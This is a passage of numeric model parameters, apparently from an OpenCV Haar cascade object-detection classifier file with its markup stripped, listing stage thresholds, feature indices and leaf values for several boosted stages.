-8.7519101798534393e-03 0 -1 1225 + -9.4158039428293705e-04 -2 -3 1226 -8.8366247713565826e-02 + + 7.1111567318439484e-02 -3.1814581155776978e-01 + -5.9796679019927979e-01 1.9428940117359161e-01 + <_> + + 2 1 1227 4.5438520610332489e-03 0 -1 1228 + -1.3041470199823380e-02 -2 -3 1229 3.2197220716625452e-03 + + -2.1855579316616058e-01 3.0563870072364807e-01 + -1.9010399281978607e-01 1.8796740472316742e-01 + <_> + + 1 0 1230 3.2370660454034805e-02 2 -1 1231 + 8.7954197078943253e-03 -2 -3 1232 -8.5182236507534981e-03 + + -1.6135400533676147e-01 6.6259282827377319e-01 + -3.8733869791030884e-01 1.3088770210742950e-01 + <_> + + 1 2 1233 -5.4210029542446136e-02 0 -1 1234 + 2.9004408861510456e-04 -2 -3 1235 -1.2670000083744526e-02 + + -1.8559680320322514e-03 5.0099188089370728e-01 + 2.9727068543434143e-01 -1.6530840098857880e-01 + <_> + + 1 0 1236 3.7995529174804688e-01 -1 2 1237 + -4.8071850091218948e-02 -2 -3 1238 6.4968131482601166e-03 + + 4.2289760708808899e-01 1.1011490225791931e-01 + -2.6050418615341187e-01 1.7244240641593933e-01 + <_> + + 1 0 1239 -2.0901230163872242e-03 -1 2 1240 + -6.2400829046964645e-03 -2 -3 1241 8.5770338773727417e-03 + + -1.4854459464550018e-01 3.5841208696365356e-01 + -2.1481679379940033e-01 2.1504589915275574e-01 + <_> + + 1 2 1242 -6.6754068247973919e-03 0 -1 1243 + -3.8183759897947311e-03 -2 -3 1244 5.5124791106209159e-04 + + -2.3905350267887115e-01 4.4719010591506958e-01 + -2.5307258963584900e-01 3.4307420253753662e-02 + <_> + + 2 1 1245 9.0955598279833794e-03 0 -1 1246 + 1.1171290278434753e-01 -2 -3 1247 -1.7274810234084725e-03 + + -6.5154308080673218e-01 -2.6602389290928841e-02 + 6.1791652441024780e-01 2.7143610641360283e-02 + <_> + + 1 2 1248 7.5292278779670596e-04 0 -1 1249 + -3.1208951259031892e-04 -2 -3 1250 1.3574779732152820e-03 + + -5.5061008781194687e-02 2.7939450740814209e-01 + -2.9496839642524719e-01 2.3769420385360718e-01 + <_> + + 1 0 1251 2.6001129299402237e-02 2 -1 1252 + -5.1486152224242687e-03 -2 -3 1253 -4.1137751191854477e-02 + + 4.8369780182838440e-01 -1.4562819898128510e-01 + -4.8423030972480774e-01 1.9624310731887817e-01 + <_> + + 1 0 1254 1.2921179644763470e-02 2 -1 1255 + 2.9845361132174730e-03 -2 -3 1256 1.2732800096273422e-02 + + 6.0538208484649658e-01 -4.6820640563964844e-01 + -2.9540339484810829e-02 3.6185088753700256e-01 + <_> + + 0 1 1257 -1.0869900143006817e-04 -1 2 1258 + -8.9501799084246159e-04 -2 -3 1259 5.3637558594346046e-03 + + 1.6606490314006805e-01 3.5517621785402298e-02 + -3.5981449484825134e-01 4.2224168777465820e-01 + <_> + + 1 0 1260 1.4909369871020317e-02 -1 2 1261 + -1.0603530099615455e-03 -2 -3 1262 -3.6916081444360316e-04 + + -6.6308712959289551e-01 -3.8903519511222839e-01 + -1.1299440264701843e-01 1.6010889410972595e-01 + <_> + + 0 1 1263 -3.8595579098910093e-04 2 -1 1264 + 5.9791578678414226e-04 -2 -3 1265 1.0427299886941910e-02 + + 1.9961580634117126e-01 -2.5480431318283081e-01 + 1.0820420086383820e-01 -5.4060971736907959e-01 + <_> + 41 + -1.2273980379104614e+00 + + <_> + + 0 1 1266 8.5305199027061462e-03 2 -1 1267 + -7.0295208133757114e-03 -2 -3 1268 1.1181459762156010e-02 + + -2.3412899672985077e-01 -1.3273300230503082e-01 + -1.0306409746408463e-01 8.1993848085403442e-01 + <_> + + 1 0 1269 -3.3347710967063904e-02 2 -1 1270 + -5.7895448990166187e-03 -2 -3 1271 7.5207999907433987e-03 + + -2.0504109561443329e-01 -7.2138823568820953e-02 + 9.2525452375411987e-02 6.4616191387176514e-01 + <_> + + 1 0 1272 5.1975441165268421e-03 2 -1 1273 + 2.7103458996862173e-03 -2 -3 1274 -5.8099921792745590e-02 + + -3.6144751310348511e-01 -3.4319791197776794e-01 + 3.2151529192924500e-01 -3.0232580378651619e-02 + <_> + + 1 2 1275 4.1742541361600161e-04 0 -1 1276 + 5.8975181309506297e-04 -2 -3 1277 1.3578129932284355e-02 + + -2.6612699031829834e-01 1.4442689716815948e-01 + 3.6293990910053253e-02 4.4277408719062805e-01 + <_> + + 0 1 1278 -3.9278618060052395e-03 -1 2 1279 + -1.6465460881590843e-02 -2 -3 1280 -9.0516731142997742e-03 + + -4.2203828692436218e-01 -5.7036012411117554e-01 + -2.4343970417976379e-01 1.2901119887828827e-01 + <_> + + 0 1 1281 -4.0202909149229527e-03 -1 2 1282 + 1.9786891061812639e-03 -2 -3 1283 -2.1167920902371407e-02 + + 3.0336159467697144e-01 -1.1887379735708237e-01 + -5.3209340572357178e-01 3.7618291378021240e-01 + <_> + + 0 1 1284 -1.3314959593117237e-02 2 -1 1285 + -3.0734280124306679e-02 -2 -3 1286 -4.9376720190048218e-01 + + -4.7728979587554932e-01 -1.0171979665756226e-01 + -4.9745380878448486e-01 1.9965989887714386e-01 + <_> + + 1 0 1287 -2.2439099848270416e-03 -1 2 1288 + -4.3283861130475998e-02 -2 -3 1289 -9.8785851150751114e-05 + + -1.0817500203847885e-01 6.4580261707305908e-01 + 2.6985371112823486e-01 -1.5044610202312469e-01 + <_> + + 1 0 1290 2.8435129672288895e-02 -1 2 1291 + 2.7237860485911369e-03 -2 -3 1292 -4.7562850522808731e-04 + + 2.9883900284767151e-01 -1.8797110021114349e-01 + 2.8433099389076233e-01 -1.2085639685392380e-01 + <_> + + 1 0 1293 3.8944541011005640e-03 2 -1 1294 + 4.3390938080847263e-03 -2 -3 1295 -2.0263839513063431e-02 + + -2.7473360300064087e-01 -3.7163880467414856e-01 + -3.5409209132194519e-01 1.3197909295558929e-01 + <_> + + 0 1 1296 -5.5432569235563278e-02 2 -1 1297 + 5.4974798113107681e-03 -2 -3 1298 -4.8123318701982498e-03 + + -6.3836967945098877e-01 2.4118340015411377e-01 + 1.2418109923601151e-01 -1.8538869917392731e-01 + <_> + + 2 1 1299 1.4174300013110042e-03 0 -1 1300 + -3.3114890102297068e-03 -2 -3 1301 -9.4083733856678009e-03 + + 1.0947279632091522e-01 -3.1438231468200684e-01 + -5.0812500715255737e-01 1.2708969414234161e-01 + <_> + + 1 0 1302 1.6073260456323624e-02 -1 2 1303 + -3.9989468641579151e-03 -2 -3 1304 1.0122359963133931e-03 + + -3.2891270518302917e-01 2.3349060118198395e-01 + -1.7827099561691284e-01 1.6806240379810333e-01 + <_> + + 1 0 1305 1.5654880553483963e-02 2 -1 1306 + 1.3416170142591000e-02 -2 -3 1307 2.4865430314093828e-03 + + 6.6142809391021729e-01 -5.6725960969924927e-01 + 7.0396818220615387e-02 -2.1695409715175629e-01 + <_> + + 0 1 1308 -4.5016291551291943e-03 -1 2 1309 + -2.0310489460825920e-02 -2 -3 1310 2.0448309369385242e-03 + + -2.9001921415328979e-01 -5.5471527576446533e-01 + -7.5903441756963730e-03 3.0112549662590027e-01 + <_> + + 2 1 1311 3.3151761163026094e-03 0 -1 1312 + -1.1767409741878510e-02 -2 -3 1313 -9.0457782149314880e-02 + + -6.5939038991928101e-01 1.9516299664974213e-01 + 2.3783689737319946e-01 -1.6133689880371094e-01 + <_> + + 0 1 1314 -9.4386242562904954e-04 -1 2 1315 + -5.5300429463386536e-02 -2 -3 1316 1.8430839991196990e-03 + + 2.0265130698680878e-01 1.3218100368976593e-01 + -8.5232466459274292e-02 -5.0634711980819702e-01 + <_> + + 2 1 1317 -4.4628758914768696e-03 0 -1 1318 + 9.7493419889360666e-04 -2 -3 1319 -3.1454759300686419e-04 + + -2.7136290073394775e-01 1.5943349897861481e-01 + 2.7965110540390015e-01 -3.2671060413122177e-02 + <_> + + 1 2 1320 -1.6447799280285835e-02 0 -1 1321 + 2.3777380585670471e-02 -2 -3 1322 2.8008338995277882e-03 + + -4.1435249149799347e-03 3.5191389918327332e-01 + -2.2791029512882233e-01 1.8853689730167389e-01 + <_> + + 1 0 1323 1.7503320123068988e-04 -1 2 1324 + 1.3492659491021186e-04 -2 -3 1325 4.8691541451262310e-05 + + -2.1376720070838928e-01 -1.3506560027599335e-01 + -2.7009880542755127e-01 3.2778948545455933e-01 + <_> + + 1 0 1326 2.4542049504816532e-03 -1 2 1327 + -2.3232260718941689e-02 -2 -3 1328 5.2798539400100708e-03 + + 2.6363280415534973e-01 -3.8305589556694031e-01 + -7.7942140400409698e-02 2.4021050333976746e-01 + <_> + + 1 0 1329 7.0398352108895779e-03 2 -1 1330 + 4.0894638746976852e-02 -2 -3 1331 -7.9772479832172394e-02 + + 2.0972409844398499e-01 -7.0987868309020996e-01 + 5.7007771730422974e-01 -6.9354712963104248e-02 + <_> + + 1 0 1332 6.4237392507493496e-04 -1 2 1333 + 1.8864229787141085e-03 -2 -3 1334 -2.5151949375867844e-03 + + -4.0321418642997742e-01 8.4503486752510071e-02 + 7.3963850736618042e-01 -3.7004008889198303e-01 + <_> + + 2 1 1335 9.2179048806428909e-04 0 -1 1336 + -6.6281789913773537e-03 -2 -3 1337 -1.2447969987988472e-02 + + 2.4241310358047485e-01 -2.5563749670982361e-01 + 4.5645469427108765e-01 3.5875100642442703e-02 + <_> + + 1 0 1338 9.8073864355683327e-03 2 -1 1339 + 1.1752230115234852e-02 -2 -3 1340 -4.5835418859496713e-04 + + -3.5728690028190613e-01 2.2477920353412628e-01 + 9.2636883258819580e-02 -2.2759440541267395e-01 + <_> + + 1 0 1341 1.2521909549832344e-02 2 -1 1342 + 5.4397471249103546e-03 -2 -3 1343 -5.8840587735176086e-04 + + -5.0926029682159424e-01 4.6630910038948059e-01 + -2.5326851010322571e-01 4.8585399985313416e-02 + <_> + + 0 1 1344 -8.6136013269424438e-03 2 -1 1345 + 4.8513390356674790e-04 -2 -3 1346 -5.7645072229206562e-04 + + -4.6801608800888062e-01 1.5412229299545288e-01 + 3.3526080846786499e-01 -1.3425140082836151e-01 + <_> + + 0 1 1347 1.5327259898185730e-03 2 -1 1348 + 1.6712940123397857e-04 -2 -3 1349 5.0148408627137542e-04 + + -8.4655933082103729e-02 -2.9512628912925720e-01 + 4.4228151440620422e-01 7.0311659947037697e-03 + <_> + + 0 1 1350 -7.2751182597130537e-04 2 -1 1351 + 1.6298179980367422e-03 -2 -3 1352 -6.5518761985003948e-03 + + 3.6965361237525940e-01 -3.1909099221229553e-01 + -5.0437092781066895e-01 4.8704870045185089e-02 + <_> + + 0 1 1353 -1.8271349370479584e-02 2 -1 1354 + -3.1057938933372498e-01 -2 -3 1355 8.6849008221179247e-04 + + 2.6778510212898254e-01 -1.5646959841251373e-01 + 2.2130140662193298e-01 -2.3309649527072906e-01 + <_> + + 0 1 1356 -1.0790280066430569e-02 2 -1 1357 + -6.7156221484765410e-04 -2 -3 1358 7.9050064086914062e-03 + + -4.1554379463195801e-01 -8.0280020833015442e-02 + 1.7470720410346985e-01 -7.7852571010589600e-01 + <_> + + 2 1 1359 1.2352660298347473e-02 0 -1 1360 + 6.2703549861907959e-02 -2 -3 1361 -7.1864388883113861e-03 + + 4.3160900473594666e-01 -3.9224869012832642e-01 + -5.8003968000411987e-01 -2.5838220492005348e-02 + <_> + + 0 1 1362 -3.8558109663426876e-03 -1 2 1363 + -1.5419459668919444e-03 -2 -3 1364 -2.2120370995253325e-03 + + 1.5963500738143921e-01 1.6741840541362762e-01 + 2.9176110401749611e-02 -2.8822419047355652e-01 + <_> + + 0 1 1365 -2.1434590220451355e-02 2 -1 1366 + -1.9107710104435682e-03 -2 -3 1367 3.5804428160190582e-02 + + -2.2613149881362915e-01 1.0307289659976959e-01 + 7.5381852686405182e-02 -6.3267099857330322e-01 + <_> + + 1 0 1368 1.4067400479689240e-03 -1 2 1369 + 9.6554737538099289e-03 -2 -3 1370 2.4058830738067627e-01 + + 3.7057319283485413e-01 -2.0454670488834381e-01 + 2.0735639333724976e-01 -1.2661419808864594e-01 + <_> + + 1 0 1371 5.2541731856763363e-03 -1 2 1372 + -1.1480560060590506e-03 -2 -3 1373 5.2387482719495893e-04 + + -2.3812450468540192e-01 -1.8807569518685341e-02 + 5.8435738086700439e-01 -7.0002108812332153e-02 + <_> + + 1 0 1374 8.9346221648156643e-04 -1 2 1375 + -1.4664779603481293e-01 -2 -3 1376 6.4734317129477859e-04 + + -2.0343719422817230e-01 4.2429131269454956e-01 + -7.2510123252868652e-02 2.4216009676456451e-01 + <_> + + 1 0 1377 3.7285720463842154e-03 2 -1 1378 + 1.0364309855503961e-04 -2 -3 1379 -4.3523311614990234e-03 + + -4.1690871119499207e-01 1.7091989517211914e-01 + 3.1368499994277954e-01 -1.3387750089168549e-01 + <_> + + 1 2 1380 -8.2644030451774597e-02 0 -1 1381 + -8.3868228830397129e-04 -2 -3 1382 -2.6123419404029846e-02 + + 6.7182201147079468e-01 -4.5429998636245728e-01 + 2.1897830069065094e-01 -3.2377090305089951e-02 + <_> + + 2 1 1383 5.2059517474845052e-04 0 -1 1384 + -2.9154460877180099e-02 -2 -3 1385 -1.1165169999003410e-03 + + -3.6328500509262085e-01 1.6834139823913574e-01 + 1.5818840265274048e-01 -2.3134049773216248e-01 + <_> + + 1 0 1386 -1.1460180394351482e-03 2 -1 1387 + 2.0873030647635460e-02 -2 -3 1388 4.0476579219102859e-02 + + -1.2237170338630676e-01 4.0715441107749939e-01 + -4.8719130456447601e-02 6.1359512805938721e-01 + <_> + 42 + -1.1990439891815186e+00 + + <_> + + 2 1 1389 2.3152550682425499e-02 0 -1 1390 + 9.4490228220820427e-03 -2 -3 1391 1.2632790021598339e-03 + + 1.6217540204524994e-01 8.9458537101745605e-01 + -2.9920589923858643e-01 2.4114310741424561e-01 + <_> + + 1 2 1392 -6.3288196921348572e-02 0 -1 1393 + -5.4630772210657597e-03 -2 -3 1394 -5.3964817197993398e-04 + + 5.8726388216018677e-01 2.8670629486441612e-02 + 2.1043429151177406e-02 -3.3096361160278320e-01 + <_> + + 0 1 1395 -4.3574950098991394e-01 -1 2 1396 + -2.2997299674898386e-03 -2 -3 1397 2.8589849825948477e-03 + + 2.9235550761222839e-01 1.0574100166559219e-01 + -3.3370551466941833e-01 1.6990379989147186e-01 + <_> + + 0 1 1398 -2.1891849115490913e-02 -1 2 1399 + -9.2662516981363297e-03 -2 -3 1400 -1.6625279560685158e-02 + + -6.2861520051956177e-01 -4.3969720602035522e-01 + 4.0394479036331177e-01 1.1343320365995169e-03 + <_> + + 2 1 1401 2.4849560577422380e-03 0 -1 1402 + -1.8093220889568329e-02 -2 -3 1403 -1.5609259717166424e-02 + + -1.5912850201129913e-01 4.4538548588752747e-01 + 6.9278262555599213e-02 -2.2655999660491943e-01 + <_> + + 0 1 1404 -4.3753669597208500e-03 -1 2 1405 + -1.3602689432445914e-04 -2 -3 1406 3.8207470788620412e-04 + + -7.1104782819747925e-01 -1.6582900285720825e-01 + 2.1408109366893768e-01 -1.2310829758644104e-01 + <_> + + 0 1 1407 -5.7698809541761875e-03 -1 2 1408 + -6.5253339707851410e-03 -2 -3 1409 -8.3149597048759460e-02 + + 2.5808620452880859e-01 2.0068170130252838e-01 + -6.4005237817764282e-01 -9.6292853355407715e-02 + <_> + + 0 1 1410 -1.7492580227553844e-03 -1 2 1411 + -3.5885178949683905e-03 -2 -3 1412 2.8363720048218966e-03 + + -2.7996930480003357e-01 -4.2557060718536377e-01 + 1.7105630040168762e-01 -1.1548189818859100e-01 + <_> + + 2 1 1413 3.7369329947978258e-03 0 -1 1414 + 2.0398290827870369e-02 -2 -3 1415 -1.8605329096317291e-02 + + 7.5142003595829010e-02 7.1449148654937744e-01 + 6.6745537519454956e-01 -1.3011719286441803e-01 + <_> + + 1 0 1416 1.2047400232404470e-03 -1 2 1417 + -4.1799237951636314e-03 -2 -3 1418 5.3556780330836773e-03 + + 1.9936279952526093e-01 2.0625339448451996e-01 + -2.1847389638423920e-01 3.9184600114822388e-01 + <_> + + 1 2 1419 -2.3561089765280485e-03 0 -1 1420 + -5.9740748256444931e-02 -2 -3 1421 1.4918210217729211e-03 + + 6.4951920509338379e-01 -2.6147049665451050e-01 + 1.1800879985094070e-01 -3.6518579721450806e-01 + <_> + + 0 1 1422 -2.6466009020805359e-01 -1 2 1423 + -6.3644978217780590e-04 -2 -3 1424 -1.0798840224742889e-01 + + -4.7007301449775696e-01 1.5393650531768799e-01 + 2.8167989850044250e-01 -1.9636960327625275e-01 + <_> + + 0 1 1425 -3.6950930370949209e-04 -1 2 1426 + -7.9222144559025764e-03 -2 -3 1427 -7.1997018530964851e-03 + + -2.5694531202316284e-01 -3.6089059710502625e-01 + 2.1187220513820648e-01 -6.0304410755634308e-02 + <_> + + 1 0 1428 2.7865950018167496e-02 -1 2 1429 + 1.0313779785064980e-04 -2 -3 1430 9.8026450723409653e-04 + + 2.7542260289192200e-01 -2.1113120019435883e-01 + 1.2969830632209778e-01 -3.5925969481468201e-01 + <_> + + 1 0 1431 1.0869160294532776e-02 2 -1 1432 + 1.9162669777870178e-03 -2 -3 1433 -6.9466588320210576e-04 + + -2.8709220886230469e-01 1.9223760068416595e-01 + 2.6802310347557068e-01 -1.5893469750881195e-01 + <_> + + 0 1 1434 -1.5737100038677454e-03 2 -1 1435 + 2.8489651158452034e-03 -2 -3 1436 1.2300360249355435e-03 + + 4.8450559377670288e-01 1.4732420444488525e-01 + -2.2078629583120346e-02 -3.5363599658012390e-01 + <_> + + 0 1 1437 -1.7871359596028924e-03 -1 2 1438 + -7.5124297291040421e-04 -2 -3 1439 -1.5810869634151459e-02 + + 1.5130859613418579e-01 -2.5845149159431458e-01 + 3.9024001359939575e-01 -8.3249032497406006e-02 + <_> + + 2 1 1440 -8.5817109793424606e-03 0 -1 1441 + 1.4925940334796906e-01 -2 -3 1442 5.0973348319530487e-02 + + 6.5285183489322662e-02 -4.4836780428886414e-01 + -5.9802252054214478e-01 7.6314812898635864e-01 + <_> + + 2 1 1443 -1.4699130551889539e-03 0 -1 1444 + 1.8571510445326567e-03 -2 -3 1445 2.7572319377213717e-03 + + -1.5857130289077759e-01 2.0623469352722168e-01 + -1.5369700267910957e-02 3.5741418600082397e-01 + <_> + + 0 1 1446 -1.2494870461523533e-02 -1 2 1447 + -2.0542230457067490e-02 -2 -3 1448 9.8408637568354607e-03 + + 2.1646310389041901e-01 3.5183259844779968e-01 + -2.5107988715171814e-01 2.4597419425845146e-02 + <_> + + 1 0 1449 7.5531061738729477e-03 2 -1 1450 + 8.6472760885953903e-03 -2 -3 1451 -2.3343270644545555e-02 + + -7.7170521020889282e-01 -2.6535108685493469e-01 + -3.1102359294891357e-01 1.0751940310001373e-01 + <_> + + 0 1 1452 -2.3739689495414495e-03 2 -1 1453 + 4.5531010255217552e-03 -2 -3 1454 -1.7819739878177643e-02 + + 2.4833559989929199e-01 1.2766610085964203e-01 + -2.1538909524679184e-02 -3.3530569076538086e-01 + <_> + + 0 1 1455 -1.8217710778117180e-02 -1 2 1456 + -4.5768721029162407e-03 -2 -3 1457 -1.8008370534516871e-04 + + -4.1915500164031982e-01 -4.3936538696289062e-01 + -1.2697519361972809e-01 1.3539279997348785e-01 + <_> + + 0 1 1458 -7.6008588075637817e-03 2 -1 1459 + 4.5034091453999281e-04 -2 -3 1460 2.7170981047675014e-04 + + -3.3822789788246155e-01 3.1599909067153931e-01 + -7.5660146772861481e-02 2.3075099289417267e-01 + <_> + + 0 1 1461 -5.9739891439676285e-02 2 -1 1462 + -2.4159778840839863e-03 -2 -3 1463 7.5702499598264694e-03 + + -3.9958238601684570e-01 -2.9177419841289520e-02 + 3.6201998591423035e-01 -7.8775990009307861e-01 + <_> + + 1 0 1464 4.8360861837863922e-03 -1 2 1465 + -1.9794749096035957e-02 -2 -3 1466 -5.3176241926848888e-03 + + -4.7984561324119568e-01 3.1721720099449158e-01 + 2.1971449255943298e-01 -8.5302233695983887e-02 + <_> + + 2 1 1467 3.5097550135105848e-03 0 -1 1468 + -1.6063610091805458e-03 -2 -3 1469 1.8238229677081108e-03 + + 3.4705808758735657e-01 -3.2198080420494080e-01 + 9.7573727369308472e-02 -4.1784769296646118e-01 + <_> + + 2 1 1470 2.2058039903640747e-03 0 -1 1471 + 2.5601179804652929e-03 -2 -3 1472 2.2490289993584156e-03 + + -2.9866018891334534e-01 3.2085859775543213e-01 + 1.0411229729652405e-01 -3.0941790342330933e-01 + <_> + + 1 2 1473 2.2417849395424128e-03 0 -1 1474 + 9.5781440904829651e-05 -2 -3 1475 -1.0199189931154251e-01 + + -1.9861190021038055e-01 8.0484487116336823e-02 + -6.6573441028594971e-01 2.6545938849449158e-01 + <_> + + 2 1 1476 2.9278239235281944e-03 0 -1 1477 + -2.3058110382407904e-03 -2 -3 1478 -3.5818710457533598e-03 + + 4.6711549162864685e-01 -2.3293379694223404e-02 + 1.9756149500608444e-02 -2.5899839401245117e-01 + <_> + + 2 1 1479 4.8302081413567066e-03 0 -1 1480 + -2.7483499143272638e-03 -2 -3 1481 -4.5970390783622861e-04 + + -3.6909970641136169e-01 2.9650568962097168e-01 + 1.0480040311813354e-01 -1.6184529662132263e-01 + <_> + + 2 1 1482 -1.0161349549889565e-02 0 -1 1483 + 3.2342320773750544e-03 -2 -3 1484 -1.1368689592927694e-03 + + -1.5523530542850494e-01 4.8816910386085510e-01 + 2.8159290552139282e-01 -6.2790401279926300e-02 + <_> + + 1 0 1485 1.1411249870434403e-03 2 -1 1486 + 2.8695389628410339e-03 -2 -3 1487 2.4731169641017914e-01 + + 1.2081749737262726e-01 2.0992599427700043e-01 + -2.4197529256343842e-01 6.4990550279617310e-01 + <_> + + 2 1 1488 2.7829511091113091e-03 0 -1 1489 + -1.3701720163226128e-02 -2 -3 1490 4.8768401145935059e-02 + + 4.5538169145584106e-01 -3.3847901225090027e-01 + 8.9688122272491455e-02 -3.1576380133628845e-01 + <_> + + 1 0 1491 1.7329800873994827e-02 2 -1 1492 + 1.4899630099534988e-02 -2 -3 1493 -5.4528238251805305e-03 + + 4.2558190226554871e-01 6.1711931228637695e-01 + -4.0939989686012268e-01 -1.5215449966490269e-02 + <_> + + 0 1 1494 -4.6164509840309620e-03 2 -1 1495 + 2.2072680294513702e-03 -2 -3 1496 1.1780969798564911e-03 + + -3.5992878675460815e-01 2.0051500201225281e-01 + -1.7710399627685547e-01 1.3283580541610718e-01 + <_> + + 2 1 1497 -2.1226529497653246e-04 0 -1 1498 + 6.6969380713999271e-03 -2 -3 1499 4.8628589138388634e-03 + + -1.4558829367160797e-01 3.0319228768348694e-01 + 2.1147659420967102e-01 -6.5050870180130005e-01 + <_> + + 1 0 1500 1.2855669483542442e-03 -1 2 1501 + -9.8538002930581570e-04 -2 -3 1502 3.6161120515316725e-03 + + -1.4253799617290497e-01 -4.9302369356155396e-02 + 4.5496350526809692e-01 -1.2398339807987213e-01 + <_> + + 1 0 1503 7.4739390984177589e-03 2 -1 1504 + 1.4764349907636642e-02 -2 -3 1505 5.4328311234712601e-03 + + 2.5631210207939148e-01 5.8572351932525635e-01 + 3.2529931515455246e-02 -2.2187189757823944e-01 + <_> + + 1 2 1506 -2.7086320915259421e-04 0 -1 1507 + 4.2132260277867317e-03 -2 -3 1508 1.9583420362323523e-04 + + 2.6175120472908020e-01 -5.9540379047393799e-01 + -1.9159470498561859e-01 9.1520026326179504e-02 + <_> + + 0 1 1509 -7.1442658081650734e-03 2 -1 1510 + 2.3744559439364821e-04 -2 -3 1511 -8.4380080807022750e-05 + + 1.3012650609016418e-01 -3.8831448554992676e-01 + 2.1030910313129425e-01 -1.4587140083312988e-01 + <_> + + 1 0 1512 1.2161800265312195e-01 2 -1 1513 + 6.9275178248062730e-05 -2 -3 1514 -1.5904659405350685e-02 + + 2.5583249330520630e-01 1.1272220313549042e-01 + 7.2112542390823364e-01 -1.9385160505771637e-01 + <_> + 35 + -1.1545649766921997e+00 + + <_> + + 2 1 1515 1.7899930477142334e-02 0 -1 1516 + 1.5925300540402532e-03 -2 -3 1517 1.8896949477493763e-03 + + 4.6134639531373978e-02 8.3787131309509277e-01 + -3.6899039149284363e-01 1.8707709386944771e-02 + <_> + + 1 0 1518 -4.1336648166179657e-02 -1 2 1519 + -4.0737599134445190e-02 -2 -3 1520 -1.4306500088423491e-03 + + -1.9983500242233276e-01 5.5203098058700562e-01 + -5.4083228111267090e-01 1.3183380663394928e-01 + <_> + + 2 1 1521 1.4656609855592251e-03 0 -1 1522 + -1.3589359587058425e-03 -2 -3 1523 -1.5437849797308445e-03 + + 1.7477029561996460e-01 -4.5285460352897644e-01 + 2.2154679894447327e-01 -1.1437030136585236e-01 + <_> + + 2 1 1524 6.6659757867455482e-03 0 -1 1525 + -1.7080729594454169e-03 -2 -3 1526 -3.6050159484148026e-02 + + 5.6135451793670654e-01 -7.5875748880207539e-03 + 6.9391137361526489e-01 -1.3373179733753204e-01 + <_> + + 0 1 1527 -7.1983798407018185e-03 -1 2 1528 + -6.5796967828646302e-04 -2 -3 1529 -1.2115390272811055e-03 + + 1.8855899572372437e-01 -4.7130081057548523e-01 + 1.9381099939346313e-01 -1.4709189534187317e-01 + <_> + + 0 1 1530 -1.0272770188748837e-02 2 -1 1531 + -7.0025851018726826e-03 -2 -3 1532 -2.4933859705924988e-02 + + -4.1135069727897644e-01 -8.8177748024463654e-02 + -6.3464301824569702e-01 2.5403091311454773e-01 + <_> + + 2 1 1533 7.7693387866020203e-03 0 -1 1534 + -4.4885549694299698e-02 -2 -3 1535 1.9916899036616087e-03 + + -4.5445719361305237e-01 3.3884489536285400e-01 + -5.3012330085039139e-02 -5.7269239425659180e-01 + <_> + + 0 1 1536 -1.4783450402319431e-02 2 -1 1537 + 1.1688449885696173e-03 -2 -3 1538 -1.2033269740641117e-04 + + 3.7365919351577759e-01 -3.0164909362792969e-01 + 1.4958509802818298e-01 -1.4014390110969543e-01 + <_> + + 0 1 1539 -4.3730039149522781e-02 -1 2 1540 + -1.7855180427432060e-02 -2 -3 1541 8.3651271415874362e-04 + + -7.0078557729721069e-01 8.0032449960708618e-01 + 7.8825756907463074e-02 -2.0352110266685486e-01 + <_> + + 2 1 1542 -6.6671593231149018e-05 0 -1 1543 + -9.8805947345681489e-05 -2 -3 1544 -2.7336759376339614e-04 + + -3.7201121449470520e-01 1.3640309683978558e-02 + -1.6216109693050385e-01 2.6113900542259216e-01 + <_> + + 1 0 1545 4.2468630708754063e-03 2 -1 1546 + -4.9197040498256683e-03 -2 -3 1547 -1.4116670005023479e-02 + + 2.8842711448669434e-01 -1.0787279903888702e-01 + -7.0104539394378662e-01 3.3659279346466064e-01 + <_> + + 1 2 1548 -4.4507419806905091e-04 0 -1 1549 + -1.2075440026819706e-02 -2 -3 1550 -2.3437689524143934e-03 + + -7.0987367630004883e-01 1.5176150202751160e-01 + -4.0890040993690491e-01 -1.7091540619730949e-02 + <_> + + 1 0 1551 1.6248680651187897e-02 2 -1 1552 + 1.9177920185029507e-03 -2 -3 1553 -1.0359560139477253e-02 + + -6.0641109943389893e-01 3.6670050024986267e-01 + 1.9813629984855652e-01 -1.1020349711179733e-01 + <_> + + 2 1 1554 2.9234820976853371e-03 0 -1 1555 + 3.4323200583457947e-02 -2 -3 1556 1.8238219490740448e-04 + + -4.6382451057434082e-01 1.5469099581241608e-01 + -2.5076579302549362e-02 2.7050849795341492e-01 + <_> + + 0 1 1557 -8.5055502131581306e-04 2 -1 1558 + 4.7644949518144131e-03 -2 -3 1559 -2.5098009500652552e-03 + + 1.7459200322628021e-01 4.0942171216011047e-01 + 3.9601740241050720e-01 -1.7667229473590851e-01 + <_> + + 0 1 1560 -5.0978600047528744e-03 -1 2 1561 + -5.2095171064138412e-02 -2 -3 1562 3.5293150693178177e-02 + + -4.4393861293792725e-01 -6.6363197565078735e-01 + 2.7801029384136200e-02 5.6744211912155151e-01 + <_> + + 0 1 1563 -3.6938309669494629e-01 2 -1 1564 + 5.7077431119978428e-03 -2 -3 1565 5.1315332530066371e-04 + + -5.4281282424926758e-01 -3.8007241487503052e-01 + -7.5563162565231323e-02 1.8112689256668091e-01 + <_> + + 0 1 1566 -8.1165106967091560e-03 -1 2 1567 + 2.4742930690990761e-05 -2 -3 1568 -8.3282394334673882e-03 + + 4.3757191300392151e-01 -1.6252890229225159e-01 + 2.9233780503273010e-01 -5.2530951797962189e-02 + <_> + + 0 1 1569 -9.9733080714941025e-03 -1 2 1570 + -1.6291439533233643e-03 -2 -3 1571 2.3081828840076923e-03 + + 2.3018500208854675e-01 -3.8834458589553833e-01 + 1.5438289940357208e-01 -1.6248099505901337e-01 + <_> + + 0 1 1572 7.0326360873878002e-03 2 -1 1573 + -8.7802913039922714e-03 -2 -3 1574 -1.1044350266456604e-01 + + -8.2522578537464142e-02 3.2759511470794678e-01 + 6.3194888830184937e-01 -2.1398690342903137e-01 + <_> + + 0 1 1575 6.3772657886147499e-03 -1 2 1576 + -1.4427660405635834e-01 -2 -3 1577 5.2613671869039536e-03 + + -6.5774962306022644e-02 -5.2361601591110229e-01 + 3.7687599658966064e-01 -3.7297201156616211e-01 + <_> + + 0 1 1578 -9.3407719396054745e-04 2 -1 1579 + 7.0944131584838033e-04 -2 -3 1580 -2.0967289805412292e-02 + + -3.5960820317268372e-01 2.9923319816589355e-01 + -3.0739480257034302e-01 4.0209449827671051e-02 + <_> + + 1 2 1581 3.0113470274955034e-03 0 -1 1582 + -1.6325850447174162e-04 -2 -3 1583 3.9222151972353458e-03 + + 8.1960096955299377e-02 -2.3989020287990570e-01 + 3.2356649637222290e-01 -1.2140029668807983e-01 + <_> + + 1 0 1584 1.9476639572530985e-03 -1 2 1585 + -1.1166670173406601e-01 -2 -3 1586 